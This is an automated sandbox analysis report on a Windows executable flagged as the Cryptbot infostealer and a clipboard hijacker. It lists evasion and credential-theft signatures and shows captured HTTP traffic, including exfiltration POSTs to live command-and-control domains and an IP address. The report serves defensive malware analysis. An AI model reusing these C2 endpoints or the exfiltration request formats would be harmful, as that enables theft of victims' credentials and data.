Windows Analysis Report
RGU8qibimk.exe

Overview

General Information

Sample name: RGU8qibimk.exe
renamed because original name is a hash value
Original sample name: 450295fbb1aa647744fd45cfebdffb8b.exe
Analysis ID: 1580275
MD5: 450295fbb1aa647744fd45cfebdffb8b
SHA1: 8d530e9af2abb090e3f62dfb832379d186870dbb
SHA256: 624acc2b6a4fd1ca7d56e305b9bca9b0ae6fbf7e1c1fb4023770a10c3d26577c
Tags: exeuser-abuse_ch
Infos:

Detection

Clipboard Hijacker, Cryptbot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Attempt to bypass Chrome Application-Bound Encryption
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Clipboard Hijacker
Yara detected Cryptbot
AI detected suspicious sample
Drops large PE files
Found evasive API chain (may stop execution after checking mutex)
Found stalling execution ending in API Sleep call
Hides threads from debuggers
Leaks process information
Machine Learning detection for sample
PE file contains section with special chars
Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Uses schtasks.exe or at.exe to add and modify task schedules
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for read data from the clipboard
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Detected potential crypto function
Drops PE files
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Browser Started with Remote Debugging
Sigma detected: Suspicious Schtasks From Env Var Folder
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Name Description Attribution Blogpost URLs Link
CryptBot A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: RGU8qibimk.exe Avira: detected
Multi AV Scanner detection for submitted file
Source: RGU8qibimk.exe Virustotal: Detection: 59% Perma Link
Source: RGU8qibimk.exe ReversingLabs: Detection: 55%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: RGU8qibimk.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_003315B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 9_2_003315B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8314B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 9_2_6C8314B0
Source: RGU8qibimk.exe, 00000000.00000003.1441157960.0000000007B40000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_df08517f-4
Uses 32bit PE files
Source: RGU8qibimk.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\ Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\ Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\.ms-ad\ Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\AppData\Local\Google\ Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: C:\Users\user\AppData\ Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea ecx, dword ptr [esp+04h] 9_2_003381E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C8AAEC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C8AAF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C8AAF70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C850860
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C85A9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 9_2_6C85A9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 9_2_6C85A970
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C90F960h 9_2_6C84EB10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 9_2_6C8D84A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C854453
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 9_2_6C85A580
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C85A5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 9_2_6C85A5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 9_2_6C85C510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C85E6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 9_2_6C85E6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, ecx 9_2_6C8D0730
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 9_2_6C850740
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C8AC040
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C8AC1A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+04h] 9_2_6C88A1E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 9_2_6C850260
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [6C90D014h] 9_2_6C904360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C8ABD10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C8A7D10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 9_2_6C8A3840
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+04h] 9_2_6C85D974
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 9_2_6C86BBD7
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 9_2_6C86BBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 9_2_6C889B60
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C8AB4D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 9_2_6C85D504
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C90DFF4h 9_2_6C8A3690
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 9_2_6C8A9600
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+0Ch] 9_2_6C85D674
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+08h] 9_2_6C85D7F4
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C84B1D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 9_2_6C8D3140
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C85D2A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 9_2_6C8C7350
Source: chrome.exe Memory has grown: Private usage: 1MB later: 28MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.10:49708 -> 185.121.15.192:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.10:49709 -> 185.121.15.192:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.10:49723 -> 185.121.15.192:80
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global traffic HTTP traffic detected: POST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1Host: home.twentytk20ht.topAccept: */*Content-Type: application/jsonContent-Length: 503051Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 35 30 32 35 37 34 38 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic HTTP traffic detected: GET /TQIuuaqjNpwYjtUvFojm1734579850?argument=Yz0g9u1CGgoQE3kc1735025752 HTTP/1.1Host: home.twentytk20ht.topAccept: */*
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20ht.topAccept: */*Content-Length: 465Content-Type: multipart/form-data; boundary=------------------------fkUIAq6qjDgRQLzPrFFf7UData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 66 6b 55 49 41 71 36 71 6a 44 67 52 51 4c 7a 50 72 46 46 66 37 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 69 66 65 62 69 74 75 79 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 38 07 aa b4 df dd b0 11 e9 ee ad ff 6c 1c 34 0f f3 6f ed 4c 6e de 33 c4 78 91 32 b5 cf 80 fc e6 65 88 25 58 90 e4 4b b5 b7 fd 4f 15 53 32 f2 a1 63 87 cb 09 70 d9 95 4d 74 1e 20 df 4b 34 c4 42 90 96 a1 dc f2 c3 37 c7 08 02 92 85 5b 42 6f 2b bc 52 1b 1d 8d e2 6e 04 64 e6 b1 fc 7e 09 5e 47 b5 16 d3 69 d1 b1 21 35 b1 8b f8 b9 83 e0 8d 5f f6 08 5a d0 5b 45 2e f6 70 3b 11 3d e3 b3 f3 4d fc 13 89 cd e9 b4 98 f9 ad 49 7c b3 54 d3 e4 5a 26 68 ca 31 12 b9 aa 44 71 c2 3e d7 63 3c 76 f1 c1 e4 2f 69 7a 6d 5a 1c 54 bc f9 69 5e a7 b2 90 5c 17 53 d6 21 56 c8 29 3a 1c 22 56 62 6d 88 29 03 18 2d 6d a4 9a d0 80 2a f2 e1 ca 5e 68 43 5c a7 ab 90 a0 fa 03 48 f2 33 dc 6a 5f b4 4b 19 9a e8 69 4b 24 85 d8 70 ea df 01 1c e9 db 2c 72 78 14 7f f6 4b 1a d9 71 60 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 66 6b 55 49 41 71 36 71 6a 44 67 52 51 4c 7a 50 72 46 46 66 37 55 2d 2d 0d 0a Data Ascii: --------------------------fkUIAq6qjDgRQLzPrFFf7UContent-Disposition: form-data; name="file"; filename="Tifebituy.bin"Content-Type: application/octet-stream8l4oLn3x2e%XKOS2cpMt K4B7[Bo+Rnd~^Gi!5_Z[E.p;=MI|TZ&h1Dq>c<v/izmZTi^\S!V):"Vbm)-m*^hC\H3j_KiK$p,rxKq`--------------------------fkUIAq6qjDgRQLzPrFFf7U--
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20ht.topAccept: */*Content-Length: 82428Content-Type: multipart/form-data; boundary=------------------------PejZHN1dtkENr3M2GflZjiData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 65 6a 5a 48 4e 31 64 74 6b 45 4e 72 33 4d 32 47 66 6c 5a 6a 69 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 65 73 75 73 65 73 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 11 60 76 32 fe 9a ae 2b 34 df 1f 84 f4 85 87 43 b7 3e 69 1c 9e df 65 5c f9 55 06 c0 a6 64 38 30 d5 28 41 5a 1b d6 d5 e5 61 17 d7 5e 81 ff c2 29 a6 1f 4c 8a 11 14 2c 38 98 f3 a6 95 b3 49 a0 d9 6b 57 dd 75 3f bd 4d 59 6d ca bf 9e 0a 51 66 e0 9a 1f ad 90 60 3f c5 60 20 07 8b a2 a6 f2 05 fe 41 fe da f7 f3 21 3e 45 be fe 84 ea d7 e4 82 e3 d2 73 c8 c9 fd ff 6a 8c eb 6b 17 ce 60 c9 3c 52 77 89 bc ab fb 43 78 21 ea 9c 11 22 e1 8a 76 f4 fe 6d c4 91 c0 70 98 d9 03 a6 6a bf 01 f1 8d 34 2e 9e fb 82 b1 21 99 06 63 11 d2 ad e9 e9 df 85 89 25 e4 7e 9e 51 35 f0 d8 df 20 cb 66 dd 48 62 1c ce 3b 7f 14 21 e1 1e 79 cd 9d 7b 3a c0 c3 8d 91 5e c3 39 13 89 ba c9 f8 fa cd 78 dc 9b 5e 72 ca 06 bb 59 2b b6 16 6e cd 16 08 36 67 76 7f ab 37 73 08 3e a4 e9 56 7a 2e 0c 53 0f 21 a3 8e d8 bb 8c 6a d5 76 27 59 59 43 56 a5 0b 5c 7e 30 c0 09 bc 4b 2d d3 3b e2 39 3b f0 e8 3b ac 2e 96 fc 18 e2 6e af 23 cd 24 dc d0 dd 70 b5 bd bc 8b 36 ae 6f b1 18 fb d5 75 92 73 24 db b9 21 12 45 d9 45 f3 ab db 59 6c b9 43 8a 78 fc f9 1c ca cd 6f 38 1e 37 a0 c5 54 8b 6c e7 a5 69 d7 e5 2d 11 8d 08 ab 35 64 09 9f 99 34 fd 82 b3 44 21 96 4c 78 d9 f8 34 5b 06 24 b2 c7 9b 16 16 6a 97 1a c8 14 0e e3 30 6b ca 5d 3e 89 32 1e 31 9f 60 f4 67 b7 50 3c 59 50 2f a2 06 c2 fd db 4d 65 15 fb c4 2e fb 63 80 b6 65 52 fa 7e d8 b0 44 a3 01 d3 92 5d df e8 3a 3b 0e 7b b1 f2 8f b6 b2 56 1a b0 c3 90 e4 7d 9c 36 d6 12 fa fc 21 db 23 85 ab 4c f8 90 91 13 70 9d b8 52 00 46 12 18 9f e9 b0 21 86 dc 6c 57 72 05 0d 88 da 7c 6b 94 3a c3 70 d3 69 72 5a c4 8a 94 ba 5f be 24 af 96 7d f2 c1 f0 3b 45 c1 72 ae f7 89 b9 af 2d a0 f7 91 ed c2 91 53 d8 30 d2 c9 f5 e0 51 6b 27 c0 0a 25 d0 45 57 6b b2 47 25 a2 da 7c ab f5 3f c6 90 ec 55 1e ea fe c1 24 33 03 cc 4e 36 9f 06 16 53 51 17 57 45 57 1e c1 75 47 77 e4 df 97 65 b2 77 71 ae 4d 3f b6 ad 91 24 50 17 26 f1 d0 9d 30 77 a0 29 dd c0 e5 c3 f1 96 ad b8 72 4c 88 bf 85 64 34 2f bc 8c 80 99 c6 8a e4 74 0f 58 f5 33 c3 d6 a2 76 07 72 c2 ea ad b1 26 e9 5f 72 0e 8b 4a d4 7b b2 c4 37 4c e6 3a 11 28 3c bc ec 22 f1 15 d8 3c 27 0e 8d 8e cb c1 3b bb 89 de 6e 44 05 bd d0 33 dd cb 9e cb 4c ab 0d 7a 70 4a cb c2 39 0f 30 c1 8a 97 eb 63 36 e1 e6 b3 f5 de 05 a3 6a 21 9a bb 77 22 14 95 cf 4a b1 41 5a 26 c7 5f d3 8a 88 08 f1 20 f8 65 37 bf 6a 89 5b 2c 25 83 14 54 4b b2 6a 8f 23 8a 77 84 20 93 c4 65 5a 15 51 82 0f fe d3 4f 76 05 f8 4c 29 4b fc 65 36
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20ht.topAccept: */*Content-Length: 30346Content-Type: multipart/form-data; boundary=------------------------8eQG5J82OufYaU4t1IH2axData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 65 51 47 35 4a 38 32 4f 75 66 59 61 55 34 74 31 49 48 32 61 78 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 44 65 62 69 74 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a bd 5b 18 d0 03 7b ed b6 9e 9c 92 32 5e d9 10 52 3f 39 96 a7 ee da f2 e9 aa 7b 79 df b1 55 59 c7 c8 da 73 ab 66 32 ba dc d4 99 17 0e d0 2d 79 58 4e 14 07 10 22 be 9f 64 09 5d cd fc a8 15 38 a4 ee 92 12 75 04 b8 3c 8a 97 05 ce ca 32 d0 a3 55 ff 3c 67 d7 28 dc 50 a5 97 3e b2 18 f5 98 fc 11 55 38 bb 6a 99 29 ae ae 63 1f db d6 09 1d 15 ef ba d7 ea 1a 4a 0d b6 d6 4d 32 56 ff 6b 95 ca 08 5d 12 72 5c d1 c3 37 7f ac ec ff bc f8 63 25 b4 bf f6 0f a1 96 5f f9 18 28 53 58 fc 7d d8 7c eb 8d 37 df 13 d4 59 99 48 03 0b 63 55 f0 c4 47 30 51 a0 37 b9 b1 1c cc 32 c8 53 61 a1 75 db c6 2e 11 46 b3 19 19 22 5f 62 98 de 35 1e ed 77 0f 69 2d 67 37 db 37 7a 40 61 96 3f d9 eb ad d0 69 41 29 0f bb a8 e7 47 f0 f2 02 dc c9 7b 3c 43 74 f1 1c 20 e2 2c 9d 02 d6 62 7a 56 62 ed 80 9b b3 c1 61 26 2a 23 14 61 bf 52 a8 e9 71 5d 1f 90 9a f4 42 dc 9f b6 54 15 08 02 87 c9 8b 2b 1f f3 7e 12 aa fe da c8 89 f8 c1 19 13 5d 54 46 97 a6 23 f9 b9 f1 b4 bc c9 8d ea 4c a5 d2 70 c7 d8 aa 5b ad 07 9b ec b5 0a b2 53 e9 3f 26 00 66 34 cb cf 1a 13 a0 03 a0 88 22 1b f7 24 a0 1d 04 2e 24 c5 e9 66 4b b3 a5 90 31 f8 c5 6e 68 d4 ab 82 9d 76 50 d7 31 f2 25 2c 3d e0 43 68 eb 69 06 99 b2 5a 66 c5 dd 0b 5e ae 00 e3 7b 6a 6e 93 86 19 ae f7 9f 2e 5c d9 35 0b 31 b4 a8 9c ef a6 bf f6 b2 73 c3 af 3e fc 00 36 a0 cb ea 5c b3 76 55 06 bc bb 46 7c 22 2c ef 47 b5 25 e6 65 8a d2 95 e0 ff 72 00 55 d9 95 fc 64 a4 e5 84 74 ae b6 ba a1 73 25 c6 54 ca 57 36 59 a0 ae ab 61 a2 e5 90 b0 e6 50 a8 27 cc f3 91 54 b8 7f 22 b6 2f b5 4e 44 d5 4b 10 6c 94 3e 9f e4 e2 cc d7 ec 0e c1 d8 a9 cd 33 25 8e 81 e2 a4 f2 09 3d ac a8 50 2b 8b b4 99 b3 d8 9a 6d 9d 81 56 e5 fe 8f 87 82 b3 dd 52 58 4f 2a 5a 9b 05 23 9f 56 4b 54 0e d3 5c 0a bc c4 0d da 47 7f 3a 62 f6 69 b3 22 8f f3 18 6f 7d 79 f1 a1 85 6d 35 d6 98 82 05 05 c3 69 94 e6 fa 80 9d 3a b3 fb 2d 5f 4b a4 a9 fd cb 5a 68 ac 01 0b 24 88 0d 6c e9 55 0a ce 58 bf 78 38 29 17 28 b4 38 69 4a 83 7e 53 0c 7b d6 0f e1 3b b5 95 55 9d e1 8a dd 79 69 bd 85 f2 b7 01 05 2c c6 13 45 58 f9 12 06 10 23 bf 7b c7 5b 68 0c 3c a9 68 ea 9d b2 4b b9 5c b1 d7 61 c1 6f 08 dc 2f fe 2b 49 f6 5c 8b ab 51 32 3e 36 55 dc 60 e1 80 de cd 4e 67 e3 e9 95 cb 52 21 20 14 d2 bb 70 0a 4a fd b5 9c 55 74 ff 54 dd b4 44 0e fa bd 79 a4 1a 91 d3 94 16 2d 11 4e f6 86 de 70 44 d0 d9 e7 de d6 59 63 31 cc aa 4a 7f 57 7d 32 f8 f5 ab cf 43 12 cf 5a ef 27 20 5c fe c4 01 8c ef 66
Source: global traffic HTTP traffic detected: POST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1Host: home.twentytk20ht.topAccept: */*Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 59 7a 30 67 39 75 31 43 47 67 6f 51 45 33 6b 63 31 37 33 35 30 32 35 37 35 32 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "Yz0g9u1CGgoQE3kc1735025752", "data": "Done2" }
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.121.15.192 185.121.15.192
Source: Joe Sandbox View IP Address: 34.226.108.155 34.226.108.155
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global traffic HTTP traffic detected: GET /TQIuuaqjNpwYjtUvFojm1734579850?argument=Yz0g9u1CGgoQE3kc1735025752 HTTP/1.1Host: home.twentytk20ht.topAccept: */*
